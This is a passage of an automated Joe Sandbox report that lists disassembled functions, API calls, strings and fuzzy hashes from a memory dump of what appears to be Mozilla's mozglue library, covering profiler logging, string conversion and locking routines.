Part of subcall function 6C5AEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5DD7F3), ref: 6C5AEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5AEDC1

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction ID: 98bbf4f3ef0777127e5ae27a845bd472b8300f5f5d205e968e16351221157966
Opcode Fuzzy Hash: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction Fuzzy Hash: 7551D071D05204CBDB00DFAACC806EEB7B1AF99318F44892DE8556B740E770695ACBA2

Function 6C61A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A565

Part of subcall function 6C61A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61A4BE
Part of subcall function 6C61A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C61A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C61A6B6

Strings

z, xrefs: 6C61A6AE
0, xrefs: 6C61A5FB

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction ID: 915c25c0bad6a613ca7e3937631c18ba55314a02d7f2e53d91269edd6a871d94
Opcode Fuzzy Hash: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction Fuzzy Hash: 4241357190C7459FC341DF28C480A8EBBE5BF89354F409A2EF49987651EB30EA49CB86

Function 6C5E9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
__Init_thread_footer.LIBCMT ref: 6C5E949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E9459

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction ID: 0081f0393451ff0e005ba07dd94fe2a75616aa04fe90c0196bb49f527cd3ec27
Opcode Fuzzy Hash: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction Fuzzy Hash: EA012430A0021197E7009B6EDC80A8A33B5AF4A329F040536ED0AC6F42E67BE8558D5F

Function 6C5AB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6AC

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5AB61E), ref: 6C5AB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB79A

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction ID: 0eaa3da87508b8389fc69d7f1b5e92b83b5973571bb3e035c648cbd8645011f0
Opcode Fuzzy Hash: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction Fuzzy Hash: 7D41D4B2D001199FCB00EFA9DC805AEB7B5FB85324F250629E825E7790E771AD0587D1

Function 6C61B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C61B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C61B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C61B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C61B5F4
__Init_thread_footer.LIBCMT ref: 6C61B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C61B61F
std::_Facet_Register.LIBCPMT ref: 6C61B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B655

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction ID: 1f71f04cfe6d1d077e6d6df7f400f5cb3e6d9534b9819a13942ab196e849e7cb
Opcode Fuzzy Hash: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction Fuzzy Hash: 11318471B00214CBCB10DF6AC8949EEB7F5EBCA325F150929D90697740DB38A806CF9A

Function 6C5E6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5E67C8

Part of subcall function 6C5F4290: memcpy.VCRUNTIME140(?,?,6C602003,6C600AD9,?,6C600AD9,00000000,?,6C600AD9,?,00000004,?,6C601A62,?,6C602003,?), ref: 6C5F42C4

Strings

vbl, xrefs: 6C5E696C
data, xrefs: 6C5E6593

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vbl
API String ID: 511789754-1095404901
Opcode ID: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction ID: 76854d40968107d371606e8cdc04344036de73bd22231d81875b052ce1f557d6
Opcode Fuzzy Hash: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction Fuzzy Hash: 40D1CE75A08340CFD724DF29C851B9FB7E6AFC9348F10492DE59997B91EB30A809CB52

Function 6C5DD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5AEB57,?,?,?,?,?,?,?,?,?), ref: 6C5DD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD673
free.MOZGLUE(?), ref: 6C5DD888

Strings

WZl, xrefs: 6C5DD5D9, 6C5DD63F
|Enabled, xrefs: 6C5DD81E

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WZl$|Enabled
API String ID: 4142949111-2253591229
Opcode ID: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction ID: 94e8c673f1f9dabd18c86c782d384f36b3bf29acdf5d5246b29ac01ef2c475ae
Opcode Fuzzy Hash: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction Fuzzy Hash: 06A1F0B0A00308DFDB11CF69C8D0BAEBBF1AF49318F15845CD889AB741D735A885CBA5

Function 6C5F1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5F1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5F1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F1DDA

Part of subcall function 6C5F1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5F1F03
Part of subcall function 6C5F1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5F1DF2,00000000,00000000), ref: 6C5F1F0C
Part of subcall function 6C5F1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5F1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5F1DF4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction ID: 9a471be08b50e03592e8f6c06e79911b50f8685a6c83a424bdf97b2465dc7a99
Opcode Fuzzy Hash: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction Fuzzy Hash: 704159B52007009FCB14DF29C888A56BBF9FB89354F10442DE99A87B41CB75F855CBA5

Function 6C5E84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85AC

Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E767F
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E7693
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85B2

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction ID: b652a571e6f515641b9c497483492db018b07d393e4d3211ba346c22e8bc3285
Opcode Fuzzy Hash: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction Fuzzy Hash: 61218375200601AFEB14DB29CC88A5AB7B5AF8830CF14482DE55BC3B42DB35F948CB96

Function 6C5B1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B1699
VerSetConditionMask.NTDLL ref: 6C5B16CB
VerSetConditionMask.NTDLL ref: 6C5B16D7
VerSetConditionMask.NTDLL ref: 6C5B16DE
VerSetConditionMask.NTDLL ref: 6C5B16E5
VerSetConditionMask.NTDLL ref: 6C5B16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B16F9

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction ID: d7b8fea4e3683e935f6ab4b0026390d715965b0081423ffdbe60eb39ebaa007a
Opcode Fuzzy Hash: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction Fuzzy Hash: 9321E4B07442086BEB116E69CC85FFBB77CEFC6704F004528F645AB5C0C6799D548BA5

Function 6C5EF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction ID: d740527415803baead367260ccc54a38db26fffedb8bb9903df7e10db01e0423
Opcode Fuzzy Hash: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction Fuzzy Hash: 7611C471201204EBCB04AF1ADC849D57779FFCA768F500416EA0687F42CB79AC11CFA9

Function 6C6076C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C607705

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C607717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C60778F,00000000,00000000,00000000,00000000), ref: 6C607731
free.MOZGLUE(00000000), ref: 6C607760

Strings

}>^l, xrefs: 6C6076C4

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>^l
API String ID: 2538299546-4141363822
Opcode ID: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction ID: 3893732f0238d377a58bf1b99782178f79b1b980dc362e957950ebf602c93efd
Opcode Fuzzy Hash: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction Fuzzy Hash: FF11C8B1A05215ABD710AFB69D44BAB7EF8EF86354F144429F848E7300E7719C4087F6

Function 6C5B0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5DD9F0,00000000), ref: 6C5B0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5B0F3C
__Init_thread_footer.LIBCMT ref: 6C5B0F50
FreeLibrary.KERNEL32(?,6C5DD9F0,00000000), ref: 6C5B0F86

Strings

CoInitializeEx, xrefs: 6C5B0F36
combase.dll, xrefs: 6C5B0F18

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction ID: fdb6274280e0f1f393e42948ae0343e7f380d4eda2ee25400c2213caffb89feb
Opcode Fuzzy Hash: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction Fuzzy Hash: 1D117774705250DBDF00CF6ACE98E563B74FBD6356F00452AE905B2A40D73DA405CE5E

Function 6C5EF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
